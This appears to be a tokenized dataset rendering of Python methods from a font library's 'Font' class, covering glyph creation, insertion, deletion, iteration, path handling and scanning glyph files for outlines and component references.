"Glyph_", "(_", "glyph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "stamp", "Gl", "yp", "h", "Data", "State_", "(_", "glyph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "glyph_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "set", "Parent", "Data", "In", "Glyph_", "(_", "self_", ",_", "glyph_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "glyph_", "._", "set", "Parent_", "(_", "self_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "glyph_", "._", "dispatcher_", "=_", "self_", "._", "dispatcher_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "glyph_", "._", "add", "Observer_", "(_", "observer_", "=_", "self_", ",_", "method", "Name_", "=_", "\"\\u", "object", "Dirty", "State", "Change", "\"_", ",_", "notification_", "=_", "\"", "Gl", "yp", "h", ".", "Change", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "glyph_", "._", "add", "Observer_", "(_", "observer_", "=_", "self_", ",_", "method", "Name_", "=_", "\"\\u", "glyph", "Name", "Change", "\"_", ",_", "notification_", "=_", "\"", "Gl", "yp", "h", ".", "Name", "Change", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "glyph_", "._", "add", "Observer_", "(_", "observer_", "=_", "self_", ",_", "method", "Name_", "=_", "\"\\u", "glyph", "Unic", "odes", "Change", "\"_", ",_", "notification_", "=_", "\"", "Gl", "yp", "h", ".", "Unic", "odes", "Change", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "new", "Glyph_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Creat", "e", " ", "a", " ", "new", " ", "glyph", " ", "with", " ", "**", "name", "**", ".", " ", "If", " ", "a", " ", "glyph", " ", "with", " ", "tha", "t", "\\", "10", ";", " ", " ", " ", " ", "name", " ", "alr", "ead", "y", " ", "exist", "s", ",", " ", "the", " ", "exist", "ing", " ", "glyph", " ", "will", " ", "be", " ", "replaced", "\\", "10", ";", " ", " ", " ", " ", "with", " ", "the", " ", "new", " ", "glyph", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "name_", "in_", "self_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "unicode", "Data_", "._", "remove", "Gl", "yp", "h", "Data_", "(_", "name_", ",_", "self_", "[_", "name_", "]_", "._", "unicode", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "glyph_", "=_", "self_", "._", "\\u", "instantiate", "Gl", "yp", "h", "Object_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "glyph_", "._", "name_", "=_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "glyphs_", "[_", "name_", "]_", "=_", "glyph_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "\\u", "set", "Parent", "Data", "In", "Glyph_", "(_", "glyph_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "dirty_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "a", " ", "glyph", " ", "by", " ", "the", " ", "same", " ", "name", " ", "coul", "d", " ", "be_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "schedule", "d", " ", "for", " ", "deletion_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "name_", "in_", "self_", "._", "\\u", "schedule", "d", "For", "Deletion", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "schedule", "d", "For", "Deletion", "_", "._", "remove_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "keep", " ", "the", " ", "keys", " ", "up", " ", "to", " ", "date_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "keys_", "._", "add_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "insert", "Glyph_", "(_", "self_", ",_", "glyph_", ",_", "name_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Insert", " ", "**", "glyph", "**", " ", "int", "o", " ", "the", " ", "font", ".", " ", "Optio", "nal", "ly", ",", " ", "the", " ", "glyph", "\\", "10", ";", " ", " ", " ", " ", "can", " ", "be", " ", "renamed", " ", "at", " ", "the", " ", "same", " ", "time", " ", "by", " ", "provi", "ding", " ", "**", "name", "**", ".", "\\", "10", ";", " ", " ", " ", " ", "If", " ", "a", " ", "glyph", " ", "with", " ", "the", " ", "glyph", " ", "name", ",", " ", "or", " ", "the", " ", "name", " ", "provided", "\\", "10", ";", " ", " ", " ", " ", "as", " ", "**", "name", "**", ",", " ", "alr", "ead", "y", " ", "exist", "s", ",", " ", "the", " ", "exist", "ing", " ", "glyph", " ", "will", "\\", "10", ";", " ", " ", " ", " ", "be", " ", "replaced", " ", "with", " ", "the", " ", "new", " ", "glyph", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "copy_", "import_", "deepcopy_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "source_", "=_", "glyph_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "name_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "source_", "._", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "new", "Glyph_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dest_", "=_", "self_", "[_", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "point", "Pen_", "=_", "dest_", "._", "get", "Point", "Pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "source_", "._", "draw", "Points_", "(_", "point", "Pen_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dest_", "._", "width_", "=_", "source_", "._", "width_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dest_", "._", "unicode", "s_", "=_", "list_", "(_", "source_", "._", "unicode", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dest_", "._", "note_", "=_", "source_", "._", "note_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dest_", "._", "lib_", "=_", "deepcopy_", "(_", "source_", "._", "lib_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "dest_", "._", "unicode", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "unicode", "Data_", "._", "add", "Gl", "yp", "h", "Data_", "(_", "name_", ",_", "dest_", "._", "unicode", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "dest_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "iter\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "names_", "=_", "self_", "._", "keys_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "names_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "name_", "=_", "names_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "yield_", "self_", "[_", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "names_", "=_", "names_", "[_", "1_", ":_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "getitem\\u\\u_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "name_", "not_", "in_", "self_", "._", "\\u", "glyphs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "load", "Glyph_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "self_", "._", "\\u", "glyphs_", "[_", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "delitem\\u\\u_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "name_", "not_", "in_", "self_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Key", "Error_", ",_", "'%", "s", " ", "not", " ", "in", " ", "font", "'_", "%_", "name_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "\\u", "unicode", "Data_", "._", "remove", "Gl", "yp", "h", "Data_", "(_", "name_", ",_", "self_", "[_", "name_", "]_", "._", "unicode", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "name_", "in_", "self_", "._", "\\u", "glyphs_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "del_", "self_", "._", "\\u", "glyphs_", "[_", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "name_", "in_", "self_", "._", "\\u", "keys_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "keys_", "._", "remove_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "\\u", "glyph", "Set_", "is_", "not_", "None_", "and_", "name_", "in_", "self_", "._", "\\u", "glyph", "Set_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "schedule", "d", "For", "Deletion", "_", "._", "append_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "dirty_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "len\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "len_", "(_", "self_", "._", "keys_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "contains\\u\\u_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "name_", "in_", "self_", "._", "\\u", "keys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "keys_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "names", " ", "of", " ", "all", " ", "glyph", "s", " ", "in", " ", "the", " ", "font", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "this", " ", "is", " ", "not", " ", "generat", "ed", " ", "dynami", "call", "y", " ", "sinc", "e", " ", "we", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "support", " ", "external", " ", "editin", "g", ".", " ", "it", " ", "must", " ", "be", " ", "fixed", "._", "\\u\\u\\uNL\\u\\u\\u_", "names_", "=_", "self_", "._", "\\u", "keys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "names_", "=_", "names_", "-_", "set_", "(_", "self_", "._", "\\u", "schedule", "d", "For", "Deletion", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "list_", "(_", "names_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "path_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "set\\u", "path_", "(_", "self_", ",_", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "the", " ", "file", " ", "must", " ", "alr", "ead", "y", " ", "exist_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "os_", "._", "path_", "._", "exists_", "(_", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "the", " ", "glyph", "s", " ", "director", "y", " ", "must", " ", "alr", "ead", "y", " ", "exist_", "\\u\\u\\uNL\\u\\u\\u_", "glyph", "s", "Dir_", "=_", "os_", "._", "path_", "._", "join_", "(_", "path_", ",_", "\"", "glyph", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "os_", "._", "path_", "._", "exists_", "(_", "glyph", "s", "Dir_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "set", " ", "the", " ", "internal", " ", "reference_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "path_", "=_", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "set", " ", "the", " ", "glyph", " ", "set", " ", "reference_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "self_", "._", "\\u", "glyph", "Set_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "\\u", "glyph", "Set_", "._", "dir", "Name_", "=_", "glyph", "s", "Dir_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "get", "\\u", "ufo", "Format", "Version_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "\\u", "ufo", "Format", "Version_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "get", "\\u", "glyph", "s", "With", "Outline", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "found_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "scan", " ", "load", "ed", " ", "glyphs_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "glyph", "Name_", ",_", "glyph_", "in_", "self_", "._", "\\u", "glyphs_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "glyph", "Name_", "in_", "self_", "._", "\\u", "schedule", "d", "For", "Deletion", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "glyph_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "found_", "._", "append_", "(_", "glyph", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "scan", " ", "glyph", "s", " ", "tha", "t", " ", "have", " ", "not", " ", "bee", "n", " ", "loaded_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "glyph", "s", "Path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "path_", ",_", "\"", "glyph", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "glyph", "Name_", ",_", "file", "Name_", "in_", "self_", "._", "\\u", "glyph", "Set_", "._", "contents_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "glyph", "Name_", "in_", "self_", "._", "\\u", "glyphs_", "or_", "glyph", "Name_", "in_", "self_", "._", "\\u", "schedule", "d", "For", "Deletion", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "glyph", "Path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "glyph", "s", "Path_", ",_", "file", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "open_", "(_", "glyph", "Path_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "f_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "contain", "s", "Points_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "use", " ", "an", " ", "re", " ", "to", " ", "extract", " ", "all", " ", "points_", "\\u\\u\\uNL\\u\\u\\u_", "points_", "=_", "outline", "Sear", "ch", "Point", "RE_", "._", "findall_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "skip", " ", "all", " ", "moves", ",", " ", "as", " ", "individual", " ", "moves_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "are", " ", "anchors", " ", "and", " ", "there", "fore", " ", "not", " ", "part_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "of", " ", "an", " ", "outline", "._", "\\u\\u\\uNL\\u\\u\\u_", "for_", "point_", "in_", "points_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "'", "type", "=\"", "move", "\"'_", "not_", "in_", "point_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "contain", "s", "Points_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "contain", "s", "Points_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "found_", "._", "append_", "(_", "glyph", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "found_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "get", "\\u", "component", "Reference", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "found_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "scan", " ", "load", "ed", " ", "glyphs_", "\\u\\u\\uNL\\u\\u\\u_", "for_", "glyph", "Name_", ",_", "glyph_", "in_", "self_", "._", "\\u", "glyphs_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "glyph", "Name_", "in_", "self_", "._", "\\u", "schedule", "d", "For", "Deletion", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "glyph_", "._", "components_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "component_", "in_", "glyph_", "._", "components_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "base", "Glyph_", "=_", "component_", "._", "base", "Glyph_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "base", "Glyph_", "not_", "in_", "found_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "found_", "[_", "base", "Glyph_", "]_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "found_", "[_", "base", "Glyph_", "]_", "._", "add_", "(_", "glyph", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "scan", " ", "glyph", "s", " ", "tha", "t", " ", "have", " ", "not", " ", "bee", "n", " ", "loaded_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "path_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "glyph", "s", "Path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "path_", ",_", "\"", "glyph", "s", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "glyph", "Name_", ",_", "file", "Name_", "in_", "self_", "._", "\\u", "glyph", "Set_", "._", "contents_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "glyph", "Name_", "in_", "self_", "._", "\\u", "glyphs_", "or_", "glyph", "Name_", "in_", "self_", "._", "\\u", "schedule", "d", "For", "Deletion", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "glyph", "Path_", "=_", "os_", "._", "path_", "._", "join_", "(_", "glyph", "s", "Path_", ",_", "file", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "open_", "(_", "glyph", "Path_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "f_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "base", "Glyphs", "_", "=_", "component", "Sear", "ch", "RE_", "._", "findall_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "base", "Glyph_", "in_", "base", "Glyphs", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "base", "Glyph_", "not_", "in_", "found_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "found_", "[_", "base", "Glyph_", "]_", "=_", "set_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "found_", "[_", "base", "Glyph_", "]_", "._", "add_", "(_", "glyph", "Name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "found_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u", "get", "\\u", "bounds_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "font", "Rect_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "glyph_", "in_", "self_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "glyph", "Rect_", "=_", "glyph_", "._", "bounds_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "glyph", "Rect_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "font", "Rect_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "font", "Rect_", "=_", "glyph", "Rect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "font", "Rect_", "=_", "uni", "on", "Rect_", "(_", "font", "Rect_", ",_", "glyph", "Rect_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "font", "Rect_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Font_", "(_", "Base", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", 